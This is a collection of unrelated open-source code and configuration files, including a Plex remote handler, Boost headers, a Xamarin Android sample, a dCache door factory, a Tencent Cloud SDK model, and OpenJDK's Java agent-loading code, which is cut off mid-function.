#include "PlexRemoteNavigationHandler.h" #include "PlexApplication.h" #include "ApplicationMessenger.h" #include "Application.h" #include "guilib/GUIAudioManager.h" #include "guilib/GUIWindowManager.h" #include <vector> #define LEGACY 1 //////////////////////////////////////////////////////////////////////////////////////// CPlexRemoteResponse CPlexRemoteNavigationHandler::handle(const CStdString &url, const ArgMap &arguments) { int action = ACTION_NONE; int activeWindow = g_windowManager.GetFocusedWindow(); CStdString navigation = url.Mid(19, url.length() - 19); if (navigation.Equals("moveRight")) action = ACTION_MOVE_RIGHT; else if (navigation.Equals("moveLeft")) action = ACTION_MOVE_LEFT; else if (navigation.Equals("moveDown")) action = ACTION_MOVE_DOWN; else if (navigation.Equals("moveUp")) action = ACTION_MOVE_UP; else if (navigation.Equals("select")) action = ACTION_SELECT_ITEM; else if (navigation.Equals("music")) { if (g_application.m_pPlayer->IsPlayingAudio() && activeWindow != WINDOW_VISUALISATION) action = ACTION_SHOW_GUI; } else if (navigation.Equals("home")) { std::vector<CStdString> args; g_application.ResetSystemIdleTimer(); g_application.ResetScreenSaver(); g_application.ResetScreenSaverTimer(); g_application.WakeUpScreenSaverAndDPMS(); CApplicationMessenger::Get().ActivateWindow(WINDOW_HOME, args, false); return CPlexRemoteResponse(); } else if (navigation.Equals("back")) { if (g_application.IsPlayingFullScreenVideo() && (activeWindow != WINDOW_DIALOG_AUDIO_OSD_SETTINGS && activeWindow != WINDOW_DIALOG_VIDEO_OSD_SETTINGS && activeWindow != WINDOW_DIALOG_PLEX_AUDIO_PICKER && activeWindow != WINDOW_DIALOG_PLEX_SUBTITLE_PICKER)) action = ACTION_STOP; else action = ACTION_NAV_BACK; } #ifdef LEGACY else if (navigation.Equals("contextMenu")) action = ACTION_CONTEXT_MENU; else if (navigation.Equals("toggleOSD")) action = ACTION_SHOW_OSD; else if (navigation.Equals("pageUp")) action = ACTION_PAGE_UP; else if (navigation.Equals("pageDown")) action = ACTION_PAGE_DOWN; else if (navigation.Equals("nextLetter")) action = ACTION_NEXT_LETTER; else if (navigation.Equals("previousLetter")) action = ACTION_PREV_LETTER; #endif if (action != ACTION_NONE) { CAction actionId(action); g_application.ResetSystemIdleTimer(); g_application.ResetScreenSaver(); g_application.ResetScreenSaverTimer(); g_application.WakeUpScreenSaverAndDPMS(); if (!g_application.m_pPlayer->IsPlaying()) g_audioManager.PlayActionSound(actionId); CApplicationMessenger::Get().SendAction(actionId, WINDOW_INVALID, false); } return CPlexRemoteResponse(); }
{ "pile_set_name": "Github" }
/*------------------------------------ ///\ Plywood C++ Framework \\\/ https://plywood.arc80.com/ ------------------------------------*/ #include <ply-build-repo/Module.h> // [ply module="ParserTest"] void module_ParserTest(ModuleArgs* args) { args->buildTarget->targetType = BuildTargetType::EXE; args->addSourceFiles(".", false); args->addIncludeDir(Visibility::Private, "."); args->addTarget(Visibility::Private, "cpp"); args->addTarget(Visibility::Private, "pylon-reflect"); }
{ "pile_set_name": "Github" }
[fs-uae-controller] name = Sony PLAYSTATION(R)3 Controller platform = linux [device] make = Sony model = DualShock 3 type = gamepad [sdl] guid = 030000004c0500006802000011010000 buttons = 19 hats = 0 axes = 27 balls = 0 [default] include = universal_gamepad axis_0_neg = lstick_left axis_0_pos = lstick_right axis_1_neg = lstick_up axis_1_pos = lstick_down axis_2_neg = rstick_left axis_2_pos = rstick_right axis_3_neg = rstick_up axis_3_pos = rstick_down button_0 = select_button button_1 = lstick_button button_10 = left_shoulder button_11 = right_shoulder button_12 = north_button button_13 = east_button button_14 = south_button button_15 = west_button button_16 = menu_button button_2 = rstick_button button_3 = start_button button_4 = dpad_up button_5 = dpad_right button_6 = dpad_down button_7 = dpad_left button_8 = left_trigger button_9 = right_trigger
{ "pile_set_name": "Github" }
 using System; using Android.App; using Android.Content; using Android.Runtime; using Android.Views; using Android.Widget; using Android.OS; using Android.Gms.Common.Apis; using Android.Gms.Wearable; using Android.Support.V4.App; using Common; using Android.Util; using Android.Text.Format; using Java.Interop; namespace SynchronizedNotifications { [Activity (Label = "@string/app_name", MainLauncher = true)] public class PhoneActivity : Activity, IResultCallback, GoogleApiClient.IConnectionCallbacks, GoogleApiClient.IOnConnectionFailedListener { const string Tag = "PhoneActivity"; GoogleApiClient googleApiClient; protected override void OnCreate (Bundle bundle) { base.OnCreate (bundle); SetContentView (Resource.Layout.activity_phone); googleApiClient = new GoogleApiClient.Builder (this) .AddApi (WearableClass.API) .AddConnectionCallbacks (this) .AddOnConnectionFailedListener (this) .Build (); } void BuildLocalOnlyNotification(string title, string content, int notificationId, bool withDismissal) { NotificationCompat.Builder builder = new NotificationCompat.Builder(this); builder.SetContentTitle (title) .SetContentText (content) .SetLocalOnly (true) .SetSmallIcon (Resource.Drawable.ic_launcher); if (withDismissal) { Intent dismissalIntent = new Intent (Constants.ActionDismiss); dismissalIntent.PutExtra (Constants.KeyNotificationId, Constants.BothId); PendingIntent pendingIndent = PendingIntent.GetService (this, 0, dismissalIntent, PendingIntentFlags.UpdateCurrent); builder.SetDeleteIntent(pendingIndent); } NotificationManagerCompat.From (this).Notify (notificationId, builder.Build ()); } void BuildWearableOnlyNotification(string title, string content, string path) { if (googleApiClient.IsConnected) { var putDataMapRequest = PutDataMapRequest.Create (path); putDataMapRequest.DataMap.PutString (Constants.KeyContent, content); putDataMapRequest.DataMap.PutString (Constants.KeyTitle, title); var request = putDataMapRequest.AsPutDataRequest (); WearableClass.DataApi.PutDataItem (googleApiClient, request).SetResultCallback (this); } else { Log.Error (Tag, "BuildWearableOnlyNotification(): No Google API Client connection"); } } public void OnResult (Java.Lang.Object result) { IDataApiDataItemResult dataItemResult; try { dataItemResult = Java.Interop.JavaObjectExtensions.JavaCast<IDataApiDataItemResult>(result); } catch { return; } if (!dataItemResult.Status.IsSuccess) { Log.Error (Tag, "BuildWatchOnlyNotification(): Failed to set the data, status: " + dataItemResult.Status.StatusCode); } } private void BuildMirroredNotifications(string phoneTitle, string watchTitle, string content) { if (googleApiClient.IsConnected) { // Wearable notification BuildWearableOnlyNotification (watchTitle, content, Constants.BothPath); // Local notification, with a pending intent for dismissal BuildLocalOnlyNotification (phoneTitle, content, Constants.BothId, true); } } protected override void OnStart () { base.OnStart (); googleApiClient.Connect (); } protected override void OnStop () { googleApiClient.Disconnect (); base.OnStop (); } public void OnConnected (Bundle connectionHint) { } public void OnConnectionSuspended (int cause) { } public void OnConnectionFailed (Android.Gms.Common.ConnectionResult result) { Log.Error (Tag, "Failed to connect to Google API Client"); } String Now { get { return DateTime.Now.ToString (); } } [Export("onClick")] public void OnClick(View view) { int id = view.Id; switch (id) { case Resource.Id.phone_only: BuildLocalOnlyNotification (GetString (Resource.String.phone_only), Now, Constants.PhoneOnlyId, false); break; case Resource.Id.wear_only: BuildWearableOnlyNotification (GetString (Resource.String.wear_only), Now, Constants.WatchOnlyPath); break; case Resource.Id.different_notifications: BuildMirroredNotifications (GetString (Resource.String.phone_both), GetString (Resource.String.watch_both), Now); break; } } } }
{ "pile_set_name": "Github" }
// (C) Copyright Edward Diener 2011,2012,2013 // Use, modification and distribution are subject to the Boost Software License, // Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt). #if !defined(BOOST_TTI_MEMBER_TYPE_HPP) #define BOOST_TTI_MEMBER_TYPE_HPP #include <boost/config.hpp> #include <boost/mpl/eval_if.hpp> #include <boost/mpl/identity.hpp> #include <boost/mpl/not.hpp> #include <boost/type_traits/is_same.hpp> #include <boost/preprocessor/cat.hpp> #include <boost/tti/gen/member_type_gen.hpp> #include <boost/tti/gen/namespace_gen.hpp> #include <boost/tti/detail/dmem_type.hpp> #include <boost/tti/detail/dnotype.hpp> /* The succeeding comments in this file are in doxygen format. */ /** \file */ /// Expands to a metafunction whose typedef 'type' is either the named type or a marker type. /** trait = the name of the metafunction within the tti namespace. name = the name of the inner type. generates a metafunction called "trait" where 'trait' is the macro parameter. template<class BOOST_TTI_TP_T,class BOOST_TTI_TP_MARKER_TYPE = boost::tti::detail::notype> struct trait { typedef unspecified type; typedef BOOST_TTI_TP_MARKER_TYPE boost_tti_marker_type; }; The metafunction types and return: BOOST_TTI_TP_T = the enclosing type. BOOST_TTI_TP_MARKER_TYPE = (optional) a type to use as the marker type. defaults to the internal boost::tti::detail::notype. returns = 'type' is the inner type of 'name' if the inner type exists within the enclosing type, else 'type' is a marker type. if the end-user does not specify a marker type then an internal boost::tti::detail::notype marker type is used. The metafunction also encapsulates the type of the marker type as a nested 'boost_tti_marker_type'. The purpose of this macro is to encapsulate the 'name' type as the typedef 'type' of a metafunction, but only if it exists within the enclosing type. This allows for an evaluation of inner type existence, without generating a compiler error, which can be used by other metafunctions in this library. */ #define BOOST_TTI_TRAIT_MEMBER_TYPE(trait,name) \ BOOST_TTI_DETAIL_TRAIT_HAS_TYPE_MEMBER_TYPE(trait,name) \ BOOST_TTI_DETAIL_TRAIT_MEMBER_TYPE(trait,name) \ template<class BOOST_TTI_TP_T,class BOOST_TTI_TP_MARKER_TYPE = BOOST_TTI_NAMESPACE::detail::notype> \ struct trait : \ boost::mpl::eval_if \ < \ BOOST_PP_CAT(trait,_detail)<BOOST_TTI_TP_T>, \ BOOST_PP_CAT(trait,_detail_member_type)<BOOST_TTI_TP_T>, \ boost::mpl::identity<BOOST_TTI_TP_MARKER_TYPE> \ > \ { \ typedef BOOST_TTI_TP_MARKER_TYPE boost_tti_marker_type; \ }; \ /**/ /// Expands to a metafunction whose typedef 'type' is either the named type or a marker type. /** name = the name of the inner type. generates a metafunction called "member_type_name" where 'name' is the macro parameter. template<class BOOST_TTI_TP_T,class BOOST_TTI_TP_MARKER_TYPE = boost::tti::detail::notype> struct member_type_name { typedef unspecified type; typedef BOOST_TTI_TP_MARKER_TYPE boost_tti_marker_type; }; The metafunction types and return: BOOST_TTI_TP_T = the enclosing type. BOOST_TTI_TP_MARKER_TYPE = (optional) a type to use as the marker type. defaults to the internal boost::tti::detail::notype. returns = 'type' is the inner type of 'name' if the inner type exists within the enclosing type, else 'type' is a marker type. if the end-user does not specify a marker type then an internal boost::tti::detail::notype marker type is used. The metafunction also encapsulates the type of the marker type as a nested 'boost_tti_marker_type'. The purpose of this macro is to encapsulate the 'name' type as the typedef 'type' of a metafunction, but only if it exists within the enclosing type. This allows for an evaluation of inner type existence, without generating a compiler error, which can be used by other metafunctions in this library. */ #define BOOST_TTI_MEMBER_TYPE(name) \ BOOST_TTI_TRAIT_MEMBER_TYPE \ ( \ BOOST_TTI_MEMBER_TYPE_GEN(name), \ name \ ) \ /**/ namespace boost { namespace tti { /// A metafunction which checks whether the member 'type' returned from invoking the macro metafunction generated by BOOST_TTI_MEMBER_TYPE ( BOOST_TTI_TRAIT_MEMBER_TYPE ) is a valid type. /** template<class BOOST_TTI_TP_T,class BOOST_TTI_TP_MARKER_TYPE = boost::tti::detail::notype> struct valid_member_type { static const value = unspecified; typedef mpl::bool_<true-or-false> type; }; The metafunction types and return: BOOST_TTI_TP_T = returned inner 'type' from invoking the macro metafunction generated by BOOST_TTI_MEMBER_TYPE ( BOOST_TTI_TRAIT_MEMBER_TYPE ). BOOST_TTI_TP_MARKER_TYPE = (optional) a type to use as the marker type. defaults to the internal boost::tti::detail::notype. returns = 'value' is true if the type is valid, otherwise 'value' is false. A valid type means that the returned inner 'type' is not the marker type. */ template<class BOOST_TTI_TP_T,class BOOST_TTI_TP_MARKER_TYPE = BOOST_TTI_NAMESPACE::detail::notype> struct valid_member_type : boost::mpl::not_ < boost::is_same<BOOST_TTI_TP_T,BOOST_TTI_TP_MARKER_TYPE> > { }; /// A metafunction which checks whether the invoked macro metafunction generated by BOOST_TTI_MEMBER_TYPE ( BOOST_TTI_TRAIT_MEMBER_TYPE ) hold a valid type. /** template<class TTI_METAFUNCTION> struct valid_member_metafunction { static const value = unspecified; typedef mpl::bool_<true-or-false> type; }; The metafunction types and return: TTI_METAFUNCTION = The invoked macro metafunction generated by BOOST_TTI_MEMBER_TYPE ( BOOST_TTI_TRAIT_MEMBER_TYPE ). returns = 'value' is true if the nested type of the invoked metafunction is valid, otherwise 'value' is false. A valid type means that the invoked metafunction's inner 'type' is not the marker type. */ template<class TTI_METAFUNCTION> struct valid_member_metafunction : boost::mpl::not_ < boost::is_same<typename TTI_METAFUNCTION::type,typename TTI_METAFUNCTION::boost_tti_marker_type> > { }; } } #endif // BOOST_TTI_MEMBER_TYPE_HPP
{ "pile_set_name": "Github" }
#pragma once #include "IObject.h" namespace rho { namespace ruby { class IBoolean : public IObject { public: virtual ~IBoolean() {} virtual bool getBool() = 0; }; } }
{ "pile_set_name": "Github" }
// Boost.Geometry (aka GGL, Generic Geometry Library) // Copyright (c) 2014, Oracle and/or its affiliates. // Contributed and/or modified by Menelaos Karavelas, on behalf of Oracle // Licensed under the Boost Software License version 1.0. // http://www.boost.org/users/license.html #ifndef BOOST_GEOMETRY_ALGORITHMS_DETAIL_IS_VALID_DEBUG_COMPLEMENT_GRAPH_HPP #define BOOST_GEOMETRY_ALGORITHMS_DETAIL_IS_VALID_DEBUG_COMPLEMENT_GRAPH_HPP #ifdef BOOST_GEOMETRY_TEST_DEBUG #include <iostream> #endif namespace boost { namespace geometry { namespace detail { namespace is_valid { #ifdef BOOST_GEOMETRY_TEST_DEBUG template <typename OutputStream, typename TurnPoint> inline void debug_print_complement_graph(OutputStream& os, complement_graph<TurnPoint> const& graph) { typedef typename complement_graph<TurnPoint>::vertex_handle vertex_handle; os << "num rings: " << graph.m_num_rings << std::endl; os << "vertex ids: {"; for (vertex_handle it = graph.m_vertices.begin(); it != graph.m_vertices.end(); ++it) { os << " " << it->id(); } os << " }" << std::endl; for (vertex_handle it = graph.m_vertices.begin(); it != graph.m_vertices.end(); ++it) { os << "neighbors of " << it->id() << ": {"; for (typename complement_graph < TurnPoint >::neighbor_container::const_iterator nit = graph.m_neighbors[it->id()].begin(); nit != graph.m_neighbors[it->id()].end(); ++nit) { os << " " << (*nit)->id(); } os << "}" << std::endl; } } #else template <typename OutputStream, typename TurnPoint> inline void debug_print_complement_graph(OutputStream&, complement_graph<TurnPoint> const&) { } #endif }} // namespace detail::is_valid }} // namespace boost::geometry #endif // BOOST_GEOMETRY_ALGORITHMS_DETAIL_IS_VALID_COMPLEMENT_GRAPH_HPP
{ "pile_set_name": "Github" }
/* * dCache - http://www.dcache.org/ * * Copyright (C) 2016 Deutsches Elektronen-Synchrotron * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as * published by the Free Software Foundation, either version 3 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package diskCacheV111.doors; import com.google.common.cache.LoadingCache; import com.google.common.util.concurrent.AbstractService; import com.google.common.util.concurrent.ThreadFactoryBuilder; import io.netty.channel.ChannelPipeline; import io.netty.channel.nio.NioEventLoopGroup; import io.netty.channel.socket.nio.NioSocketChannel; import java.io.PrintWriter; import java.lang.reflect.InvocationTargetException; import java.net.Socket; import java.util.Optional; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.TimeUnit; import diskCacheV111.services.space.Space; import dmg.cells.nucleus.Cell; import dmg.cells.nucleus.CellEndpoint; import dmg.cells.nucleus.CellPath; import dmg.cells.services.login.LoginCellFactory; import org.dcache.auth.LoginStrategy; import org.dcache.cells.CellStub; import org.dcache.poolmanager.PoolManagerHandlerSubscriber; import org.dcache.services.login.IdentityResolverFactory; import org.dcache.services.login.RemoteLoginStrategy; import org.dcache.space.ReservationCaches; import org.dcache.space.ReservationCaches.GetSpaceTokensKey; import org.dcache.util.Args; import org.dcache.util.CDCThreadFactory; import org.dcache.util.Option; import org.dcache.util.OptionParser; public class NettyLineBasedDoorFactory extends AbstractService implements LoginCellFactory { private final CellEndpoint parentEndpoint; private final String parentCellName; private final Args args; private final NettyLineBasedInterpreterFactory factory; private IdentityResolverFactory idResolverFactory; private ExecutorService executor; private PoolManagerHandlerSubscriber poolManagerHandler; private NioEventLoopGroup socketGroup; private LoadingCache<GetSpaceTokensKey, long[]> spaceDescriptionCache; private LoadingCache<String,Optional<Space>> spaceLookupCache; @Option(name = "poolManager", description = "Well known name of the pool manager", defaultValue = "PoolManager") protected CellPath poolManager; @Option(name = "poolManagerTimeout", defaultValue = "1500") protected int poolManagerTimeout; @Option(name = "poolManagerTimeoutUnit", defaultValue = "SECONDS") protected TimeUnit poolManagerTimeoutUnit; @Option(name = "poolTimeout", defaultValue = "300") protected int poolTimeout; @Option(name = "poolTimeoutUnit", defaultValue = "SECONDS") protected TimeUnit poolTimeoutUnit; @Option(name = "gplazma", description = "Cell path to gPlazma", defaultValue = "gPlazma") protected CellPath gPlazma; @Option(name = "spaceManager", description = "Cell path to SpaceManager", defaultValue = "SpaceManager") protected CellPath spaceManagerPath; public NettyLineBasedDoorFactory(NettyLineBasedInterpreterFactory factory, Args args, CellEndpoint parentEndpoint, String parentCellName) { this.factory = factory; this.parentEndpoint = parentEndpoint; this.parentCellName = parentCellName; this.args = args; new OptionParser(args).inject(this); } @Override public String getName() { return factory.getClass().getSimpleName(); } @Override public Cell newCell(Socket socket) throws InvocationTargetException { NettyLineBasedDoor door = new NettyLineBasedDoor(parentCellName + "*", args, factory, executor, poolManagerHandler, idResolverFactory, spaceDescriptionCache, spaceLookupCache); NioSocketChannel channel = new NioSocketChannel(socket.getChannel()); ChannelPipeline pipeline = channel.pipeline(); pipeline.addLast("door", door); socketGroup.register(channel); return door; } @Override public void getInfo(PrintWriter pw) { pw.println(" Interpreter : " + factory.getClass()); } @Override protected void doStart() { executor = Executors.newCachedThreadPool( new ThreadFactoryBuilder().setNameFormat(parentCellName + "-%d").build()); CellStub spaceManager = new CellStub(parentEndpoint, spaceManagerPath, 30_000); spaceDescriptionCache = ReservationCaches.buildOwnerDescriptionLookupCache(spaceManager, executor); spaceLookupCache = ReservationCaches.buildSpaceLookupCache(spaceManager, executor); LoginStrategy loginStrategy = new RemoteLoginStrategy(new CellStub(parentEndpoint, gPlazma, 30_000)); idResolverFactory = new IdentityResolverFactory(loginStrategy); poolManagerHandler = new PoolManagerHandlerSubscriber(); poolManagerHandler.setPoolManager(new CellStub(parentEndpoint, poolManager, poolManagerTimeout, poolManagerTimeoutUnit)); poolManagerHandler.start(); poolManagerHandler.afterStart(); socketGroup = new NioEventLoopGroup(0, new CDCThreadFactory(new ThreadFactoryBuilder().setNameFormat(parentCellName + "-io-%d").build())); notifyStarted(); } @Override protected void doStop() { socketGroup.shutdownGracefully(500, 2000, TimeUnit.MILLISECONDS).syncUninterruptibly(); poolManagerHandler.beforeStop(); executor.shutdown(); notifyStopped(); } }
{ "pile_set_name": "Github" }
// Package docker provides utility functions for interfacing with Docker. package docker
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>SchemeUserState</key> <dict> <key>GooeySlideMenuDemo.xcscheme</key> <dict> <key>orderHint</key> <integer>0</integer> </dict> </dict> <key>SuppressBuildableAutocreation</key> <dict> <key>5F2B33F41B77928F0024D2D4</key> <dict> <key>primary</key> <true/> </dict> <key>5F2B340D1B77928F0024D2D4</key> <dict> <key>primary</key> <true/> </dict> </dict> </dict> </plist>
{ "pile_set_name": "Github" }
/* * Copyright (c) 2018 THL A29 Limited, a Tencent company. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ namespace TencentCloud.Ssl.V20191205.Models { using Newtonsoft.Json; using System.Collections.Generic; using TencentCloud.Common; public class DownloadCertificateResponse : AbstractModel { /// <summary> /// ZIP base64 编码内容,base64 解码后可保存为 ZIP 文件。 /// 注意:此字段可能返回 null,表示取不到有效值。 /// </summary> [JsonProperty("Content")] public string Content{ get; set; } /// <summary> /// MIME 类型:application/zip = ZIP 压缩文件。 /// 注意:此字段可能返回 null,表示取不到有效值。 /// </summary> [JsonProperty("ContentType")] public string ContentType{ get; set; } /// <summary> /// 唯一请求 ID,每次请求都会返回。定位问题时需要提供该次请求的 RequestId。 /// </summary> [JsonProperty("RequestId")] public string RequestId{ get; set; } /// <summary> /// For internal usage only. DO NOT USE IT. /// </summary> internal override void ToMap(Dictionary<string, string> map, string prefix) { this.SetParamSimple(map, prefix + "Content", this.Content); this.SetParamSimple(map, prefix + "ContentType", this.ContentType); this.SetParamSimple(map, prefix + "RequestId", this.RequestId); } } }
{ "pile_set_name": "Github" }
/* * Copyright (c) 2003, 2019, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ /* * Copyright 2003 Wily Technology, Inc. */ #include <string.h> #include <stdlib.h> #include "jni.h" #include "Utilities.h" #include "JPLISAssert.h" #include "JPLISAgent.h" #include "JavaExceptions.h" #include "EncodingSupport.h" #include "FileSystemSupport.h" #include "JarFacade.h" #include "PathCharsValidator.h" /** * This module contains the direct interface points with the JVMTI. * The OnLoad handler is here, along with the various event handlers. */ static int appendClassPath(JPLISAgent* agent, const char* jarfile); static void appendBootClassPath(JPLISAgent* agent, const char* jarfile, const char* pathList); /* * Parse -javaagent tail, of the form name[=options], into name * and options. Returned values are heap allocated and options maybe * NULL. Returns 0 if parse succeeds, -1 if allocation fails. */ static int parseArgumentTail(char* tail, char** name, char** options) { int len; char* pos; pos = strchr(tail, '='); len = (pos == NULL) ? (int)strlen(tail) : (int)(pos - tail); *name = (char*)malloc(len+1); if (*name == NULL) { return -1; } memcpy(*name, tail, len); (*name)[len] = '\0'; if (pos == NULL) { *options = NULL; } else { char * str = (char*)malloc( (int)strlen(pos + 1) + 1 ); if (str == NULL) { free(*name); return -1; } strcpy(str, pos +1); *options = str; } return 0; } /* * Get the value of an attribute in an attribute list. Returns NULL * if attribute not found. */ jboolean getBooleanAttribute(const jarAttribute* attributes, const char* name) { char* attributeValue = getAttribute(attributes, name); return attributeValue != NULL && strcasecmp(attributeValue, "true") == 0; } /* * Parse any capability settings in the JAR manifest and * convert them to JVM TI capabilities. */ void convertCapabilityAttributes(const jarAttribute* attributes, JPLISAgent* agent) { /* set redefineClasses capability */ if (getBooleanAttribute(attributes, "Can-Redefine-Classes")) { addRedefineClassesCapability(agent); } /* create an environment which has the retransformClasses capability */ if (getBooleanAttribute(attributes, "Can-Retransform-Classes")) { retransformableEnvironment(agent); } /* set setNativeMethodPrefix capability */ if (getBooleanAttribute(attributes, "Can-Set-Native-Method-Prefix")) { addNativeMethodPrefixCapability(agent); } /* for retransformClasses testing, set capability to use original method order */ if (getBooleanAttribute(attributes, "Can-Maintain-Original-Method-Order")) { addOriginalMethodOrderCapability(agent); } } /* * This will be called once for every -javaagent on the command line. * Each call to Agent_OnLoad will create its own agent and agent data. * * The argument tail string provided to Agent_OnLoad will be of form * <jarfile>[=<options>]. The tail string is split into the jarfile and * options components. The jarfile manifest is parsed and the value of the * Premain-Class attribute will become the agent's premain class. The jar * file is then added to the system class path, and if the Boot-Class-Path * attribute is present then all relative URLs in the value are processed * to create boot class path segments to append to the boot class path. */ JNIEXPORT jint JNICALL DEF_Agent_OnLoad(JavaVM *vm, char *tail, void * reserved) { JPLISInitializationError initerror = JPLIS_INIT_ERROR_NONE; jint result = JNI_OK; JPLISAgent * agent = NULL; initerror = createNewJPLISAgent(vm, &agent); if ( initerror == JPLIS_INIT_ERROR_NONE ) { int oldLen, newLen; char * jarfile; char * options; jarAttribute* attributes; char * premainClass; char * bootClassPath; /* * Parse <jarfile>[=options] into jarfile and options */ if (parseArgumentTail(tail, &jarfile, &options) != 0) { fprintf(stderr, "-javaagent: memory allocation failure.\n"); return JNI_ERR; } /* * Agent_OnLoad is specified to provide the agent options * argument tail in modified UTF8. However for 1.5.0 this is * actually in the platform encoding - see 5049313. * * Open zip/jar file and parse archive. If can't be opened or * not a zip file return error. Also if Premain-Class attribute * isn't present we return an error. */ attributes = readAttributes(jarfile); if (attributes == NULL) { fprintf(stderr, "Error opening zip file or JAR manifest missing : %s\n", jarfile); free(jarfile); if (options != NULL) free(options); return JNI_ERR; } premainClass = getAttribute(attributes, "Premain-Class"); if (premainClass == NULL) { fprintf(stderr, "Failed to find Premain-Class manifest attribute in %s\n", jarfile); free(jarfile); if (options != NULL) free(options); freeAttributes(attributes); return JNI_ERR; } /* Save the jarfile name */ agent->mJarfile = jarfile; /* * The value of the Premain-Class attribute becomes the agent * class name. The manifest is in UTF8 so need to convert to * modified UTF8 (see JNI spec). */ oldLen = (int)strlen(premainClass); newLen = modifiedUtf8LengthOfUtf8(premainClass, oldLen); /* * According to JVMS class name is represented as CONSTANT_Utf8_info, * so its length is u2 (i.e. must be <= 0xFFFF). * Negative oldLen or newLen means we got signed integer overflow * (modifiedUtf8LengthOfUtf8 returns negative value if oldLen is negative). */ if (oldLen < 0 || newLen < 0 || newLen > 0xFFFF) { fprintf(stderr, "-javaagent: Premain-Class value is too big\n"); free(jarfile); if (options != NULL) free(options); freeAttributes(attributes); return JNI_ERR; } if (newLen == oldLen) { premainClass = strdup(premainClass); } else { char* str = (char*)malloc( newLen+1 ); if (str != NULL) { convertUtf8ToModifiedUtf8(premainClass, oldLen, str, newLen); } premainClass = str; } if (premainClass == NULL) { fprintf(stderr, "-javaagent: memory allocation failed\n"); free(jarfile); if (options != NULL) free(options); freeAttributes(attributes); return JNI_ERR; } /* * If the Boot-Class-Path attribute is specified then we process * each relative URL and add it to the bootclasspath. */ bootClassPath = getAttribute(attributes, "Boot-Class-Path"); if (bootClassPath != NULL) { appendBootClassPath(agent, jarfile, bootClassPath); } /* * Convert JAR attributes into agent capabilities */ convertCapabilityAttributes(attributes, agent); /* * Track (record) the agent class name and options data */ initerror = recordCommandLineData(agent, premainClass, options); /* * Clean-up */ if (options != NULL) free(options); freeAttributes(attributes); free(premainClass); } switch (initerror) { case JPLIS_INIT_ERROR_NONE: result = JNI_OK; break; case JPLIS_INIT_ERROR_CANNOT_CREATE_NATIVE_AGENT: result = JNI_ERR; fprintf(stderr, "java.lang.instrument/-javaagent: cannot create native agent.\n"); break; case JPLIS_INIT_ERROR_FAILURE: result = JNI_ERR; fprintf(stderr, "java.lang.instrument/-javaagent: initialization of native agent failed.\n"); break; case JPLIS_INIT_ERROR_ALLOCATION_FAILURE: result = JNI_ERR; fprintf(stderr, "java.lang.instrument/-javaagent: allocation failure.\n"); break; case JPLIS_INIT_ERROR_AGENT_CLASS_NOT_SPECIFIED: result = JNI_ERR; fprintf(stderr, "-javaagent: agent class not specified.\n"); break; default: result = JNI_ERR; fprintf(stderr, "java.lang.instrument/-javaagent: unknown error\n"); break; } return result; } /* * Agent_OnAttach returns a jint. 0/JNI_OK indicates success and non-0 * indicates an error. To allow the attach mechanism throw an * AgentInitializationException with a reasonable exception message we define * a few specific errors here. */ #define AGENT_ERROR_BADJAR ((jint)100) /* Agent JAR not found or no Agent-Class attribute */ #define AGENT_ERROR_NOTONCP ((jint)101) /* Unable to add JAR file to system class path */ #define AGENT_ERROR_STARTFAIL ((jint)102) /* No agentmain method or agentmain failed */ /* * This will be called once each time a tool attaches to the VM and loads * the JPLIS library. */ JNIEXPORT jint JNICALL DEF_Agent_OnAttach(JavaVM* vm, char *args, void * reserved) { JPLISInitializationError initerror = JPLIS_INIT_ERROR_NONE; jint result = JNI_OK; JPLISAgent * agent = NULL; JNIEnv * jni_env = NULL; /* * Need JNIEnv - guaranteed to be called from thread that is already * attached to VM */ result = (*vm)->GetEnv(vm, (void**)&jni_env, JNI_VERSION_1_2); jplis_assert(result==JNI_OK); initerror = createNewJPLISAgent(vm, &agent); if ( initerror == JPLIS_INIT_ERROR_NONE ) { int oldLen, newLen; char * jarfile; char * options; jarAttribute* attributes; char * agentClass; char * bootClassPath; jboolean success; /* * Parse <jarfile>[=options] into jarfile and options */ if (parseArgumentTail(args, &jarfile, &options) != 0) { return JNI_ENOMEM; } /* * Open the JAR file and parse the manifest */ attributes = readAttributes( jarfile ); if (attributes == NULL) { fprintf(stderr, "Error opening zip file or JAR manifest missing: %s\n", jarfile); free(jarfile); if (options != NULL) free(options); return AGENT_ERROR_BADJAR; } agentClass = getAttribute(attributes, "Agent-Class"); if (agentClass == NULL) { fprintf(stderr, "Failed to find Agent-Class manifest attribute from %s\n", jarfile); free(jarfile); if (options != NULL) free(options); freeAttributes(attributes); return AGENT_ERROR_BADJAR; } /* * Add the jarfile to the system class path */ if 